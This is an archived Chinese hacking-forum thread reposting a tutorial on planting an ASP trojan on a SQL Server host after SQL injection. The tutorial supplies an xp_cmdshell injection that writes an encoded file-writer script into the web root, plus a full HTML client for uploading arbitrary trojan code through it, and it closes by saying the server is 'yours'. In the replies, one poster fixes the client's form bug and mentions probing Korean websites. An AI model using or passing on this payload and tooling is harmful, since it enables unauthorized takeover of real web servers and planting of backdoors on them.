邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2005-2-28 18:03

[转载]SQL注入与ASP木马上传的又一思路

文章作者:绝对零度
信息来源:rohu.com

本文适合有sa权限sqlserver数据库、并且能sql注入支持fso+asp的服务器
   SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。
   1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。
   文件内容:
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(request("mypath"),True)
objCountFile.Write request("mydata")
objCountFile.Close
%>
这个文件可以写成一行 <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject"):Set objCountFile=objFSO.CreateTextFile(request("mypath"),True):objCountFile.Write request("mydata"):objCountFile.Close%>

将特殊字符进行编码  就可以得到  %3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E

注入(这里假定web目录是C:\Inetpub\wwwroot\):
exec master..xp_cmdshell &#39;echo "%3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E" > C:\Inetpub\wwwroot\ftp.asp&#39;;

这样  在服务器的web 目录下  将生成一个  ftp.asp文件
该文件的代码为
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(request("mypath"),True)
objCountFile.Write request("mydata")
objCountFile.Close
%>
你可以看到,上面代码中预留了两个接口 mypath  和 mydata
  
mypath是下次提交的时候  文件的生成路径
mydata是文件的内容

在本地编写一个客户端文件  例:RohuClient.htm  代码如下

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>肉鸡文件生成器--客户端   制作:绝对零度  QQ:12216796</title>
<style type="text/css">
<!--
TD {
FONT-SIZE: 9pt; LINE-HEIGHT: 150%
}
BODY {
FONT-SIZE: 12px;
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif, 宋体;
SCROLLBAR-FACE-COLOR: #eeeeee;
SCROLLBAR-HIGHLIGHT-COLOR: #ffffff;
SCROLLBAR-SHADOW-COLOR: #dee3e7;
SCROLLBAR-3DLIGHT-COLOR: #d1d7dc;
SCROLLBAR-ARROW-COLOR: #006699;
SCROLLBAR-TRACK-COLOR: #ededed;
SCROLLBAR-DARKSHADOW-COLOR: #98aab1
}

A:link {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:visited {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:hover {
COLOR: #cc0000; LINE-HEIGHT: 18px; TEXT-DECORATION: underline
}
input,select,TEXTAREA {
font-family: "tahoma", "arial", "helvetica", "sans-serif", "宋体";
background-color: #f9f9f9;  
font-size: 9pt ;
border: 1px #d2d2d2 dobble;
line-height:120%;
}

-->
</style>
</head>
<script language="javascript" type="text/javascript">
function chk(theform)
{
if(theform.ftpUrl.value==&#39;&#39;)
{
  alert(&#39;请输入递交的地址!&#39;);
  theform.ftpUrl.focus();
  return false;
}
if(theform.MyPath.value==&#39;&#39;)
{
  alert(&#39;请输入生成文件的位置!&#39;);
  theform.MyPath.focus();
  return false;
}
if(theform.MyData.value==&#39;&#39;)
{
  alert(&#39;请输入生成文件的内容!&#39;);
  theform.MyData.focus();
  return false;
}
theform.action=theform.ftpUrl.value;
}
</script>
<body>
<form name="RohuForm" method="post" action="" onSubmit="return chk(this)" target="_blank">
<table width="673" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
   <td width="11%">目标位置:</td>
   <td width="79%"><input name="ftpUrl" type="text" id="ftpUrl" size="50">
    例:[url]http://127.0.0.1/FTP.ASP<;/td>[/url]
   </tr>
  <tr>
   <td>生成文件:</td>
   <td><input name="MyPath" type="text" id="MyPath">
    将在服务器上,生成的文件路径。例:
C:\Inetpub\wwwroot\Server.asp </td>
   </tr>
  <tr>
   <td valign="top">文件代码:</td>
   <td><textarea name="MyData" cols="100" rows="10" id="textarea"></textarea></td>
   </tr>
  <tr>
   <td> </td>
   <td><input type="submit" name="Submit" value="提交"></td>
   </tr>
</table>
<br>
</form>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
   <td align="center">版权所有:绝对零度(<a href="[url]http://www.rohu.com[/url]";>虎盟</a>)</td>
  </tr>
</table>
</body>
</html>

在目标位置栏填上刚刚生成的ftp.asp文件的url地址  
如 [url]http://127.0.0.1/ftp.asp[/url]  (这里假设服务器的ip是 127.0.0.1)
在生成文件栏  输入将在服务器上生成的文件名  比如:C:\Inetpub\wwwroot\Server.asp
在文件内容里 ,随意的粘贴一个asp代码  
点递交,当[url]http://127.0.0.1/ftp.asp[/url] 文件执行完毕  基本上服务器上的asp木马就生成了。

浏览  [url]http://127.0.0.1/Server.ASP[/url]  呵呵  服务器就是你的了。

旭方 2006-1-3 19:19

看来你们都没有仔细看他的代码 其实这段代码写的有问题!问题出在他的html代码部分:
让我们看下程序的思路,先用echo事先写进去一个应该可是说用来接应后续代码的代码,它使用objFSO.CreateTextFile(request("mypath"),True)来读取html表单mypath部分的内容并在服务器端的相应路径下创建此文件,然后使用objCountFile.Write request("mydata")来写入用户端在html表单mydata部分提交过来的代码,也就是我们的大马文件了!可以说这个方法的核心就是前期写入服务器的文件ftp.asp,我们客户端的信息就是要提交给它它才能做我们让它做的事情,但我们看下作者的html提交部分代码:<form name="RohuForm" method="post" action="" onSubmit="return chk(this)" target="_blank">
看见了吧 action部分根本没有指定提交的地址,居然为空 那我们的代码提交到什么地方?! 这里的action的地址应该指向我们写入的那个ftp.asp文件,而我们看这句:<td>生成文件:<td><input name="MyPath" type="text" id="MyPath">注意到name属性后的值MyPath了吧!作者要我们在这里填入我们写入的ftp.asp的地址,但它只是个摆设,其实一点用都没有,我们只要将action后的地址指向那个ftp.asp文件即可,我在实践中已经测试成功!
不过最后还要感谢作者提供给了一个好的思路,谢谢!

旭方 2006-1-5 09:27

现在网上使用sa连接的网站非常少 不错我在检测一些韩国的网站的时候发现了不少sa连接的网站 国内采用SQL Server数据库的网站大多是db_owner的权限 如果想直接echo进去一个马是不可能的

页: [1]
© 1999-2008 EvilOctal Security Team